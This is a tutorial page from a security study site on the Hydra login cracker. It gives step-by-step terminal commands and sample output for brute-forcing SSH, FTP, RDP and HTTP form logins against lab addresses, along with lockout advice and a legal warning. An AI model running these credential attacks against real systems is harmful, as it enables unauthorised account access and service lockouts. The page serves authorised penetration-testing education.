ERROR DEXby Akshay kumar
STUDY MODE / OFFENSIVE / HYDRA
OFFENSIVE · CREDENTIAL ATTACK

Hydra

Hydra is a fast, parallelised login cracker. It takes a username list and a password list and tries them against a login service — SSH, FTP, HTTP forms, RDP, SMB, databases and dozens more.

Check the lockout policy before the first attempt — otherwise you cause the outage yourself.
A 12-line targeted list beats a 14-million-password list, and stays under the lockout threshold.
HTTP forms need the exact failure string, or every attempt reports as a success.
HOW TO USE IT →WHY IT MATTERSCOMMANDSMISTAKES
LICENCEOpen source (AGPL)
PLATFORMLinux · macOS · Windows (WSL)
PROTOCOLS50+ supported
AUTHORvan Hauser / THC

What it is

Hydra is a dictionary attack tool. It does not "hack" anything by itself — it automates the boring part: trying thousands of username and password combinations against a service far faster than a human could type them.

It is written by van Hauser of The Hacker Choice (THC) and supports more than fifty protocols, including SSH, FTP, Telnet, HTTP GET/POST forms, HTTPS, SMB, RDP, MySQL, PostgreSQL, LDAP, SMTP, POP3, IMAP, VNC and SNMP. Because it handles the protocol details for you, the same tool works across an entire network's worth of services.

Hydra's real-world relevance is not "cracking" in the movie sense. It is the fastest way to prove that weak or default credentials exist — still one of the most common findings in internal penetration tests and one of the most common causes of breaches. A single admin:admin on a forgotten service is worth more to an attacker than a complicated exploit.

WALKTHROUGH

How to use Hydra

Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.

01

Confirm the service and the auth method first

KALI LINUX
kali@errordex:~$ nc -nv 10.10.10.5 22
(UNKNOWN) [10.10.10.5] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
WHAT THIS MEANSBefore Hydra, confirm the service even accepts passwords. OpenSSH 7.2p2 could have PasswordAuthentication no — in which case no password list will ever succeed.
02

Build a tiny targeted list instead of a huge one

KALI LINUX
kali@errordex:~$ printf "admin\npassword\nadmin123\nchangeme\nroot\ntoor\n" > small.txt && cat small.txt
admin
password
admin123
changeme
root
toor
WHAT THIS MEANSSix lines. Default credentials succeed far more often than people expect, and six attempts will not trigger a lockout policy. A 14-million-password list would lock the account and take hours.
03

Check the lockout policy BEFORE the first attempt

KALI LINUX
kali@errordex:~$ grep -i "pam_tally\|maxretry\|deny=" /etc/pam.d/common-auth 2>/dev/null || echo "check server policy"
auth required pam_tally2.so deny=5 unlock_time=900

# deny=5        5 failures and the account locks
# unlock_time   15 minutes locked
WHAT THIS MEANSThis is the single most important step. Five failures locks the account for 15 minutes — that is an outage you caused. Knowing it tells you to use -t 2 and to stop after four tries.
04

Run it, slowly and quietly

KALI LINUX
kali@errordex:~$ hydra -l admin -P small.txt -t 2 -f -V ssh://10.10.10.5
[22][ssh] host: 10.10.10.5   login: admin   password: admin123
1 of 1 target successfully completed, 1 valid password found

# -t 2   only two parallel attempts
# -f     stop at the first success
# -V     show every attempt
WHAT THIS MEANSCredentials found on the third attempt — well inside the lockout threshold. -f stopped it immediately, so the remaining three passwords were never tried and no lockout was triggered.
05

Record the proof properly

KALI LINUX
kali@errordex:~$ hydra -l admin -P small.txt -t 2 -f -o hydra_10.10.10.5.txt ssh://10.10.10.5 && cat hydra_10.10.10.5.txt
# Hydra v9.5 run at 2026-11-14 09:41:22
# host: 10.10.10.5   login: admin   password: admin123

# -o writes the success to a file for the report
WHAT THIS MEANSThe report needs host, service, credentials and timestamp. -o captures exactly that, so you are not reconstructing it from memory later.

Flags & options

FLAGWHAT IT DOES
-l userSingle username.
-L fileFile containing usernames.
-p passSingle password.
-P fileFile containing passwords.
-t NParallel tasks. Default 16 — lower it to 2-4 to avoid lockouts.
-fStop after the first valid pair is found.
-VShow every attempt as it happens.
-s PORTNon-default port.
-o fileWrite found credentials to a file.
-e nsrAlso try empty password, username as password, reversed username.
http-post-formModule for HTML login forms — needs the failure string.
-RRestore a previous interrupted session.

Why it matters

Weak and default credentials remain one of the most common ways real networks fall — not because attackers are clever, but because a forgotten service still accepts admin:admin. Hydra is how you prove that in an assessment. It is also the fastest way to cause an outage: five wrong attempts against an account with a lockout policy is a denial of service you caused.

How it works

Hydra opens many connections in parallel and works through the combinations. You give it four things: the target, the protocol module, the username source and the password source.

For web forms the syntax is different because Hydra has to know how the form is submitted. You give it the POST body with ^USER^ and ^PASS^ placeholders, plus a string that appears on a failed login so Hydra can tell success from failure. Getting that failure string wrong is the single most common reason Hydra reports false positives on HTTP forms.

Speed is a double-edged sword. Every parallel attempt is a log entry, and most modern systems have lockout policies — five bad attempts and the account is locked, which is a denial of service you caused. Real assessments use small, targeted lists and low -t values, and they check the lockout policy first.

SYNTAX

hydra -l user -P list.txt ssh://target

NOTE

Fails entirely if the server has PasswordAuthentication no — check the config before wasting a list.

RISK

Default -t 16 can trigger fail2ban or lock the account. Use -t 4.

SYNTAX

hydra -l admin -P list.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

NOTE

The F= string must appear on a failed login. Get it wrong and every attempt looks successful.

RISK

Forms with CSRF tokens or rate limiting need different handling — Hydra alone will not work.

SYNTAX

hydra -L users.txt -P list.txt rdp://target

NOTE

RDP has its own lockout behaviour and NLA requirements; slow it down hard.

RISK

RDP brute force is the single most common ransomware entry point in the wild — which is exactly why defenders watch for it.

USERNAME LISTusers.txtPASSWORD LISTrockyou.txtHYDRAparallel -t 4SSH :22ssh://HTTP FORMhttp-post-formRDP / SMB3389 / 445FTP :21ftp://VALID CREDlog + report
Two lists, worked through in parallel across whichever protocol module you point it at

Commands & syntax

SINGLE USER, PASSWORD LIST
# SSH — one known username, a password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

# slow down and stop at first hit
hydra -l admin -P pass.txt -t 4 -f ssh://192.168.1.10
USERNAME + PASSWORD LISTS
# both lists, FTP, verbose
hydra -L users.txt -P pass.txt -V ftp://192.168.1.10

# RDP on a non-standard port
hydra -L users.txt -P pass.txt -s 3390 rdp://192.168.1.10
HTTP FORM — the tricky one
# POST login form: give the body + a string that means FAILURE
hydra -l admin -P pass.txt 192.168.1.10 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

# Basic auth instead
hydra -l admin -P pass.txt 192.168.1.10 http-get /admin/
WORDLIST STRATEGY
# Never start with rockyou on a real target. Start tiny:
printf "admin\npassword\nadmin123\nchangeme\nroot\ntoor\n" > small.txt
hydra -L users.txt -P small.txt -t 2 ssh://192.168.1.10

# SecLists has targeted lists by service and by default vendor password
/usr/share/seclists/Passwords/
KALI LINUX · errordex
kali@errordex:~$ hydra -l admin -P /usr/share/wordlists/small.txt -t 4 -f ssh://10.10.10.5

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
Hydra starting at 2026-11-11 09:41:22
[DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:1/p:12), ~3 tries per task
[DATA] attacking ssh://10.10.10.5:22/
[22][ssh] host: 10.10.10.5   login: admin   password: Summer2024!
1 of 1 target successfully completed, 1 valid password found
Hydra finished at 2026-11-11 09:41:29

# 7 seconds, 3 attempts. The password was in a 12-line targeted list.
# That is why "we use strong passwords" is a policy, not a control,
# until someone measures it.

Common mistakes

Locking out real accounts

Lockouts are an outage you caused. On production systems this alone can end an engagement.

Wrong failure string on HTTP forms

Hydra then reports every attempt as a success — false positives that waste hours.

Default -t 16 against fragile services

Old routers, embedded devices and some RDP configurations fall over.

Starting with a giant wordlist

Slow, noisy, and usually pointless — targeted lists win.

Forgetting the protocol

SSH with password auth disabled will never succeed no matter the list. Check the service configuration first.

Using it on anything you do not own

Credential attacks against third-party systems are a criminal offence under the IT Act in India and equivalent laws everywhere.

Practice safely

Build the target yourself: a Metasploitable VM has deliberately weak services — FTP, SSH, Telnet, VNC — on a host-only network. That is the correct place to learn Hydra's syntax and timing.

Structured learning: TryHackMe's Hydra room covers the syntax interactively. Hack The Box machines frequently require credential attacks after initial enumeration.

Legal note. Only use Hydra on systems you own or have explicit written permission to test. In India, unauthorised access is punishable under sections 43 and 66 of the IT Act, 2000. Every example on this page assumes a lab environment.

Related